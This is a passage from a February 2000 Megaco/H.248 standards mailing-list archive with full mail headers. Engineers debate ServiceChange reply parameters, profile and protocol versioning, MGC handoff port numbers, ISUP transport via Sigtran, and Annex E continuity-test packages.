serviceChangeDelay, extension, TimeStamp. Also, the parameters in serviceChangeReply should be made optional. > Does this statement apply to a ServiceChange Reply? > If yes: > 1) If the command contains a ServiceChangeDelay, does the reply also > contains a ServiceChangeDelay? > If yes, ABNF does not allow it? > serviceChgReplyParam = (serviceChangeAddress / > serviceChangeMgcId / > > serviceChangeProfile / serviceChangeVersion) > I think the ABNF is correct and the intend is correct except for > the wording: > "The return from ServiceChange has the same parameters as the > input ..." > 2) It looks like the paragraph with > "Summarizing use of properties in the ServiceChange Descriptor" > needs to be clarified > with something like "Summarizing use of properties in the > ServiceChange Descriptor > for a ServiceChange Request". > Then another paragraph for "Summarizing use of properties in the > ServiceChange Descriptor > for a ServiceChange Reply." > > > The ABNF shows that ServiceChange Descriptor and ServiceChangeMethod > can have > extension. Section 7.1.13 and 7.2.8 do not mention this. > Do these 2 extensions go hand in hand? That is, can one have just a > ServiceChangeMethod > extension but not a ServiceChange Descriptor extension? These two extensions are independent. > "The optional Profile parameter specifies the Profile (if any) of the > protocol supported. The > Profile includes the version of the profile supported." > > Is the Profile version just the version of the Profile regardless of > Megaco protocol version? > Said the MG IP phone example given by Abdallah, IpPhone/1 and > IpPhone/2. > Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 > and IpPhone/2 > supports Megaco v2? Or the version # is a release of different > IpPhone version w/o > regard to Megaco protocol version? > If version # has no relationship to Megaco protocol version #, can "of > the protocol supported" be > removed? > If yes, I hope no one needs to have several release of IpPhone Profile > that supports Megaco > protocol v1 because the ABNF "version" syntax does not support it. > I dont believe that profile version has a relationship with regard to protocol version. However, that does not mean that Profile/1 must work with MEGACO/2. It all depends on how compatible Profile/1 with MEGACO/2 which is something we dont know because we dont know what MEGACO/2 is like. IMO, if the functionality that the profile requires and that the protocol supports differ in the new release of the protocol, then all those profiles that are affected need to be updated if they are to use the new release. At the same time profiles might be updated at a different rate than the protocol, e.g., an application can have two releases of its profile for the same protocol version. > > Section 9 Transport > "The MG specifies the address (e.g. TCP/UDP port number) it wished the > MGC to use for > communication. The MGC replies ..." > Some clarification wording might need to added to specify that > ServiceChangeAddress only > applies to UDP. For TCP, ServiceChangeAddress is ignored or not even > supposed to be in > the ServiceChange Descriptor. Is this what the consensus is from > prior discussion on the List? > > > Chuong > > -- > Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc **** > > --------------417FC638ED6E84EB7D0139B9 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit See comments below.

Abdallah

Chuong Nguyen wrote:

Hi

Section 7.2.8 ServiceChange

"The return from ServiceChange has the same parameters as the input except that
ServiceChange Method and ServiceChangeReason are optional.  If provided they shall
be the same as those specificied in the command."

This does not seem correct. It should read like this:
"The values of ServiceChangeReply parameters are the same as the values of
ServiceChange parameters if parameters processed successfully, e.g.,
sevicechange has new profile, the reply would have the profile parameter with
the same values. Otherwise, errorDescriptor is used within the serviceChangeReply
to convey the unsuccessful processing of the parameter, e.g., profile not supported.
All the parameters in serviceChangeReply are optional. If serviceChangeReply has
no parameters, it means all the parameters have been processed successfully."

Also, errorDescriptor should be part of the servChangeReplyParm in addition
to serviceChangeMethod, serviceChangeReason, serviceChangeDelay,
extension, TimeStamp. Also, the parameters in serviceChangeReply should be
made optional.
 

Does this statement apply to a ServiceChange Reply?
If yes:
1) If the command contains a ServiceChangeDelay, does the reply also contains a ServiceChangeDelay?
     If yes, ABNF does not allow it?
          serviceChgReplyParam = (serviceChangeAddress / serviceChangeMgcId /
                                                        serviceChangeProfile / serviceChangeVersion)
     I think the ABNF is correct and the intend is correct except for the wording:
     "The return from ServiceChange has the same parameters as the input ..."
2) It looks like the paragraph with
     "Summarizing use of properties in the ServiceChange Descriptor" needs to be clarified
     with something like "Summarizing use of properties in the ServiceChange Descriptor
      for a ServiceChange Request".
     Then another paragraph for "Summarizing use of properties in the ServiceChange Descriptor
      for a ServiceChange Reply."
 

The ABNF shows that ServiceChange Descriptor and ServiceChangeMethod can have
extension.  Section 7.1.13 and 7.2.8 do not mention this.
Do these 2 extensions go hand in hand?  That is, can one have just a ServiceChangeMethod
extension but not a ServiceChange Descriptor extension?

These two extensions are independent.
"The optional Profile parameter specifies the Profile (if any) of the protocol supported.  The
Profile includes the version of the profile supported."

Is the Profile version just the version of the Profile regardless of Megaco protocol version?
Said the MG IP phone example given by Abdallah, IpPhone/1 and IpPhone/2.
Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 and IpPhone/2
supports Megaco v2?  Or the version # is a release of different IpPhone version w/o
regard to Megaco protocol version?
If version # has no relationship to Megaco protocol version #, can "of the protocol supported" be
removed?
If yes, I hope no one needs to have several release of IpPhone Profile that supports Megaco
protocol v1 because the ABNF "version" syntax does not support it.
 

I dont believe that profile version has a relationship with regard to protocol version. However,
that does not mean that Profile/1 must work with MEGACO/2. It all depends on how
compatible Profile/1 with MEGACO/2 which is something we dont know because we
dont know what MEGACO/2 is like. IMO, if the functionality that the profile requires and
that the protocol supports differ in the new release of the protocol, then all those profiles
that are affected need to be updated if they are to use the new release. At the same
time profiles might be updated at a different rate than the protocol, e.g., an application can
have two releases of its profile for the same protocol version.
 
Section 9 Transport
"The MG specifies the address (e.g. TCP/UDP port number) it wished the MGC to use for
communication.  The MGC replies ..."
Some clarification wording might need to added to specify that ServiceChangeAddress only
applies to UDP.  For TCP, ServiceChangeAddress is ignored or not even supposed to be in
the ServiceChange Descriptor.  Is this what the consensus is from prior discussion on the List?
 

Chuong 

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
 
--------------417FC638ED6E84EB7D0139B9-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:33:53 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16203 for ; Wed, 2 Feb 2000 12:33:51 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.634C04E0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:31:11 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19223 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:29:30 -0500 Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C1220030@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:19:29 -0500 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id LAA00619 for ; Wed, 2 Feb 2000 11:21:34 -0600 (CST) Received: from relay2.dsccc.com(143.209.238.7) by fw7 via smap (V2.0) id xma000557; Wed, 2 Feb 00 11:21:00 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id LAA17732 for ; Wed, 2 Feb 2000 11:22:04 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAA647B for ; Wed, 2 Feb 2000 11:20:58 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id LAA21035 for ; Wed, 2 Feb 2000 11:20:02 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id LAA19429 for ; Wed, 2 Feb 2000 11:20:02 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------5F197EADB48FD407A7BF4EF2" Message-ID: <38986741.3D80446E@usa.alcatel.com> Date: Wed, 2 Feb 2000 11:20:02 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: ServiceChangeMethod HandOff To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------5F197EADB48FD407A7BF4EF2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi ABNF: mId = (( domainAddress / domainName ) [":" portNumber]) serviceChangeMgcId = MgcIdToken = mId If an MGC wants to handoff an MG to another MGC2, the MGC2 IP address is specified in serviceChangeMgcId. What to do about the portNumber: 1) No portNumber specified in mId or serviceChangeAddress so MG contact MGC2 via default/well known port #. 2) Non default/well known port # specified. Where should the port # be specified - in the mId portNumber field or in the ServiceChangeAddress? 3) Don't allow port # period in Handoff. Always use default/well known port # with MgcIdToTry to contact new MGC. Side note: For mId in message header, for UDP communication, portNumber is mandatory and for TCP communication, portNumber is not specified at all. Chuong -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------5F197EADB48FD407A7BF4EF2 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi

ABNF:
mId = (( domainAddress / domainName ) [":" portNumber])
serviceChangeMgcId = MgcIdToken = mId

If an MGC wants to handoff an MG to another MGC2, the MGC2 IP address is specified in
serviceChangeMgcId.  What to do about the portNumber:

1) No portNumber specified in mId or serviceChangeAddress so MG contact MGC2 via
     default/well known port #.
2) Non default/well known port # specified.  Where should the port # be specified -
     in the mId portNumber field or in the ServiceChangeAddress?
3) Don't allow port # period in Handoff.  Always use default/well known port # with MgcIdToTry
     to contact new MGC.
 

Side note:
For mId in message header, for UDP communication, portNumber is mandatory and
for TCP communication, portNumber is not specified at all.
 
 

Chuong 

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
  --------------5F197EADB48FD407A7BF4EF2-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:46:07 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16521 for ; Wed, 2 Feb 2000 12:46:06 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.12DCD2D0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:43:15 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19255 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:43:04 -0500 Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A6AFE940@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:33:04 -0500 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id LAA02655 for ; Wed, 2 Feb 2000 11:35:08 -0600 (CST) Received: from relay1.dsccc.com(143.209.238.6) by fw7 via smap (V2.0) id xma002550; Wed, 2 Feb 00 11:34:06 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id LAA19008 for ; Wed, 2 Feb 2000 11:34:05 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAC2D58 for ; Wed, 2 Feb 2000 11:34:03 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id LAA22922 for ; Wed, 2 Feb 2000 11:33:18 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id LAA19437 for ; Wed, 2 Feb 2000 11:33:18 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <65256879.001C93B6.00@sandesh.hss.hns.com> <3897C75B.40404700@ficon-tech.com> <389840F8.FE8FFB32@americasm01.nt.com> Content-Type: multipart/alternative; boundary="------------B899A4DB5BB8AF2730D6F1C9" Message-ID: <38986A5D.36312EAA@usa.alcatel.com> Date: Wed, 2 Feb 2000 11:33:18 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: Re: Profile and version in ServiceChange Descriptor To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------B899A4DB5BB8AF2730D6F1C9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Can we just negotiate version at the message header level instead of going into transaction and serviceChange? IF MGC does not support the version specified in the message header, it will return an error to MG. MG can start backing off the version # until it finds one that the MGC would accept. The example seems to be implying that the first message is always encoded in v1 and version negotiation is done with serviceChange messages. If so, the Standard should clearly state this in section 11.3. Otherwise, in the example if MG started w/ v3, it would get an error at the message level. Then MG has to start backing off the version # until MGC accept it. So we are back to doing some kind of message level version negotiation. Chuong Abdallah Rayhan wrote: > The objective of message versioning is different from protocol versioning > in service change. Messaging versioning is for efficient parsing and > processing of the message as well as debugging. While protocol versioning > in servicechane is for changing the protocol version without resorting to > error messages. > > For example, > 1- > ; msg encoded in V1, servicechange version is 2 > ; both MG and MGC understand V1 > MG -------> MGC > > 2- > ; msg is still encoded in V1, > ; MGC rejects service change version, MGC does not support V2 > ; MG realizes that it can not upgrade its communication with MGC > MG <------- MGC > > 3- MG decides whether it wants to continue communication with > MGC in V1 or halt. > > Another scenario would be that MGC supports V2 as well V1, so it > accepts service change to V2. MG encodes its msgs using V2 syntax > as well as MGC. The last two steps of the above scenario would be, > 2- > ; msg is still encoded in V1, > ; MGC accepts service change version, MGC supports V2 > ; MG realizes that it can upgrade its communication with MGC > MG <------- MGC > > 3- > ; msg is encoded in V2, > MG -------> MGC > > Abdallah Rayhan > > Harpreet Singh Anand wrote: > > > Hello, > > > > > The Profile field conatins a version and a version field is also included > > > seperately in ServiceChange > > > Descriptor. Are they different, or this is redundant information ? > > > > The version in the profile field specifies the version of the profile being > > supported by the gateway. It is different from the version field which specifies > > the version of the MEGACO protocol. > > > > Quote from section 7.2.8: > > > > " The optional Profile parameter specifies the Profile (if any) of the > > protocol supported. The Profile includes the version of the profile > > supported. > > > > The optional Version parameter contains the protocol version and is used > > if protocol version negotiation occurs (see section 11.3). " > > > > A related question: What is the need of adding version field in > > ServiceChangeDescriptor when the same information is there in the first line of > > the message ? > > > > Regards, > > Harpreet > > > > _________________________________ > > Harpreet Singh Anand > > Ficon Technology > > E-mail : mailto:hsanand@ficon-tech.com > > Web : http://www.ficon-tech.com -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------B899A4DB5BB8AF2730D6F1C9 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Can we just negotiate version at the message header level instead of going into transaction
and serviceChange?

IF MGC does not support the version specified in the message header, it will return an
error to MG.  MG can start backing off the version # until it finds one that the MGC would
accept.

The example seems to be implying that the first message is always encoded in v1 and
version negotiation is done with serviceChange messages.  If so, the Standard should clearly
state this in section 11.3.

Otherwise, in the example if MG started w/ v3, it would get an error at the message level.
Then MG has to start backing off the version # until MGC accept it.  So we are back to doing
some kind of message level version negotiation.

Chuong

Abdallah Rayhan wrote:

The objective of message versioning is different from protocol versioning
in service change. Messaging versioning is for efficient parsing and
processing of the message as well as debugging. While protocol versioning
in servicechane is for changing the protocol version without resorting to
error messages.

For example,
1-
; msg encoded in V1, servicechange version is 2
; both MG and MGC understand V1
MG -------> MGC

2-
; msg is still encoded in V1,
; MGC rejects service change version, MGC does not support V2
; MG realizes that it can not upgrade its communication with MGC
MG <------- MGC

3- MG decides whether it wants to continue communication with
MGC in V1 or halt.

Another scenario would be that MGC supports V2 as well V1, so it
accepts service change to V2. MG encodes its msgs using V2 syntax
as well as MGC. The last two steps of the above scenario would be,
2-
; msg is still encoded in V1,
; MGC accepts service change version, MGC supports V2
; MG realizes that it can upgrade its communication with MGC
MG <------- MGC

3-
; msg is encoded in V2,
MG -------> MGC

Abdallah Rayhan

Harpreet Singh Anand wrote:

> Hello,
>
> > The Profile field conatins a version and a version field is also included
> > seperately in ServiceChange
> > Descriptor. Are they different, or this is redundant information ?
>
> The version in the profile field specifies the version of the profile being
> supported by the gateway. It is different from the version field which specifies
> the version of the MEGACO protocol.
>
> Quote from section 7.2.8:
>
> " The optional Profile parameter specifies the Profile (if any) of the
> protocol supported.  The Profile includes the version of the profile
> supported.
>
> The optional Version parameter contains the protocol version and is used
> if protocol version negotiation occurs (see section 11.3). "
>
> A related question: What is the need of adding version field in
> ServiceChangeDescriptor when the same information is there in the first line of
> the message ?
>
> Regards,
> Harpreet
>
> _________________________________
> Harpreet Singh Anand
> Ficon Technology
> E-mail :  mailto:hsanand@ficon-tech.com
> Web    :  http://www.ficon-tech.com

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
  --------------B899A4DB5BB8AF2730D6F1C9-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:54:10 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16745 for ; Wed, 2 Feb 2000 12:54:09 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.321E92E0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:51:17 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19275 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:49:51 -0500 Received: from mw.3com.com (149.112.20.3) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.99472EC0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:39:51 -0500 Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation) id LAA20477; Wed, 2 Feb 2000 11:41:46 -0600 (CST) Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id 86256879.00614D47 ; Wed, 2 Feb 2000 11:42:47 -0600 X-Lotus-FromDomain: 3COM@3COM-MWGATE Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: <86256879.00614AE5.00@mwgate02.mw.3com.com> Date: Wed, 2 Feb 2000 11:41:17 -0600 Reply-To: Singaravelan Singaraselvan Sender: "Media Gateway Control (megaco)" From: Singaravelan Singaraselvan Subject: How does a TerminationID look like To: MEGACO@STANDARDS.NORTELNETWORKS.COM Hi all, I would like to know, an example for a Termination Id when the input is a T1 Trunk. Because we need to map the ISUP data namely OPC, DPC and CIC to a Termination ID. Thanks, Singar/.. From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 12:54:11 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16748 for ; Wed, 2 Feb 2000 12:54:10 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.326D4F20@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:51:17 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19305 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 12:50:56 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2559D600@standards.nortelnetworks.com>; Wed, 2 Feb 2000 12:50:55 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 11:50:58 -0600 Received: from zsc4c002.corpwest.baynetworks.com by zmers013; Wed, 2 Feb 2000 12:50:41 -0500 Received: from zsc4c006.corpwest.baynetworks.com ([134.177.2.153]) by zsc4c002.corpwest.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DZBF5WF; Wed, 2 Feb 2000 09:50:38 -0800 Received: from long-1.corpwest.baynetworks.com (long-pc.corpwest.baynetworks.com [134.177.35.109]) by zsc4c006.corpwest.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id D1KSTHRR; Wed, 2 Feb 2000 09:50:38 -0800 X-Sender: long@zsc4c006.corpwest.baynetworks.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) References: Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Message-ID: <3.0.1.32.20000202094818.00756560@zsc4c006.corpwest.baynetworks.com> Date: Wed, 2 Feb 2000 09:48:18 -0800 Reply-To: Lyndon Ong Sender: "Media Gateway Control (megaco)" From: Lyndon Ong Subject: Re: ISUP Messages To: MEGACO@STANDARDS.NORTELNETWORKS.COM In-Reply-To: If you look carefully at the flows, I think you will see that ISUP is always going between the SG (Signaling Gateway) and the CA (Call Agent), whereas MGCP - or more appropriately Megaco/H.248 - goes between CA and TGW (Trunk Gateway). You may have an SG co-located with the TGW in the case of an SS7 F-link, or you may have a standalone SG to terminate A-links. In either case, you can use Sigtran to transport the SS7 messages over IP. And, as Bob points out, you may have SS7-links terminate on the CA, in which case you don't need to transport it over IP (assuming that CA = SoftSwitch = MGC). See RFC 2719 for an overview. Cheers, L. Ong At 09:45 AM 2/2/00 -0700, Bob Wise wrote: >>>> Arial0000,0000,ffffSigtran is one approach. However, a softswitch can connect to an SS7 switch ISUP/MTP and control the TGW via MGCP without doing any ISUP tunneling over IP. The ISUP doesn't even need to come near the TGW. Alternately, sigtran can be used to transport ISUP messages over IP for the softswitch and the SS7 switch to communicate. Still, IUSP messaging doesn't have to get near the TGW. Sigtran is a great way to replace those expensive STPs, though. Arial0000,0000,ffff-Bob Wise Chief Architect Vsys Tahoma-----Original Message----- From: Media Gateway Control (megaco) [mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Nancy-M Greene Sent: Wednesday, February 02, 2000 9:33 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: ISUP Messages Arial0000,0000,ffffYou should look at the sigtran work: MS Sans Serif---------- MS Sans SerifFrom: MS Sans SerifOng, Lyndon [SC1:470:EXCH] MS Sans SerifSent: MS Sans SerifMonday, January 31, 2000 11:53 AM MS Sans SerifTo: MS Sans SerifSIGTRAN@STANDARDS.NORTELNETWORKS.COM MS Sans SerifSubject: MS Sans SerifRe: Where is Draft v 5 ArialAt 08:55 AM 1/31/00 -0600, Randall Stewart wrote: Arial>Qiaobing released this draft to the IETF Friday. I would Arial>anticipate it showing up within a day or so on the web Arial>server (ietf.org). Lyndon are you going to put it on Arial>the ftp site? ArialDraft 5 is now on the ftp site at Arial0000,0000,ffff<ftp://standards.nortelnetworks.com/sigtran/docs/adelaide00 Arial0000,0000,fffffilename: Arial0000,0000,ffffdraft-ietf-sigtran-sctp-05.txt ArialThis is the same that Qiaobing sent to the internet-drafts editor. It Arialshould be available on the ietf server soon also. ArialCheers, ArialL. Ong MS Sans Serif---------- MS Sans SerifFrom: MS Sans SerifGuylain Lavoie[SMTP:glavoie@MEDIATRIX.COM] MS Sans SerifSent: MS Sans SerifWednesday, February 02, 2000 10:49 AM MS Sans SerifTo: MS Sans SerifMEGACO@STANDARDS.NORTELNETWORKS.COM MS Sans SerifSubject: MS Sans SerifISUP Messages Arial I just read the Media Gateway Control Protocol (MGCP) Call Flows ArialNovember 18, 1998 draft , and there is something that I don't understand. In Arialthe flow control diagrams they show that there are ISUP interaction beetween Arialthe CA and the TGW, but what I don't understand is how these ISUP messages Arialare transported over IP to the TGW, there must be some tunnelling done Arialsomewhere. I would appreciate if someone could explain this to me or point Arialme to some other documentation? ArialThanks ArialGuylain Lavoie ArialMediatrix Telecom Inc. Arial4229 Garlock Street ArialSherbrooke (Quebec) ArialCanada J1L 2C8 ArialTel...: (819) 829-8749 ext 262 ArialFax...: (819) 829-5100 ArialWeb...: Arial0000,0000,ffff<http://www.mediatrix.com ArialEmail.: glavoie@mediatrix.com <<<<<<<< From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 14:46:19 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19419 for ; Wed, 2 Feb 2000 14:46:19 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E068A7A0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 14:43:32 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19475 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 14:41:47 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A1BD6950@standards.nortelnetworks.com>; Wed, 2 Feb 2000 14:41:47 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 13:43:44 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 14:43:14 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJW0F>; Wed, 2 Feb 2000 13:43:10 -0600 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Wed, 2 Feb 2000 13:43:12 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Text PackageIDs To: MEGACO@STANDARDS.NORTELNETWORKS.COM Section 12.1.1 contains the statement that the text encoding of a package identifier must not be a keyword in the base protocol. This contradicts the conclusion of the thread "Megaco Reserved Names", 2-3 Nov 1999. I will record this one as an "error". Tom Taylor Advisor -- Emerging Carrier IP Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 15:06:20 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19921 for ; Wed, 2 Feb 2000 15:06:18 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AE8AD160@standards.nortelnetworks.com>; Wed, 2 Feb 2000 15:03:37 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19533 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 15:01:44 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6B162420@standards.nortelnetworks.com>; Wed, 2 Feb 2000 15:01:43 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 14:03:22 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 15:03:13 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJXWF>; Wed, 2 Feb 2000 14:03:09 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DB8.860D93B0" Message-ID: Date: Wed, 2 Feb 2000 14:03:06 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Annex E comments X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DB8.860D93B0 Content-Type: text/plain The following remain open items from Chip's original E-mail. > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:18 PM [[TomT]] snip > > Section: E.8 > Category: Technical > Issue: The draft text specifies that the possible values for the > signals > are "q724" and that the MG figures out whether a 2-wire or 4-wire > continuity test is to be performed on the trunk in question. First of all, > it is unclear how the MG determines precisely what continuity test variant > to perform unless it is assumed that the MG is provisioned with this > information, however this should not be a requirement. Secondly, national > variants of continuity test procedures exist, and considering the package > is a "basic continuity package" it should be possible to use this package > without requiring support for Q.724 continuity test. > Proposal: It is recommended, that the possible test values are not > specified in this basic package, but that extension packages define this > packages, similarly to the "tone generator" and "tone detection" packages > defined in Annex E.1 and E.2 > > v13 Status: OPEN. No relevant text changed. [[TomT]] The understanding in Redbank was that the proper continuity test to apply would indeed be provisioned in the MG. As I see it this is really the 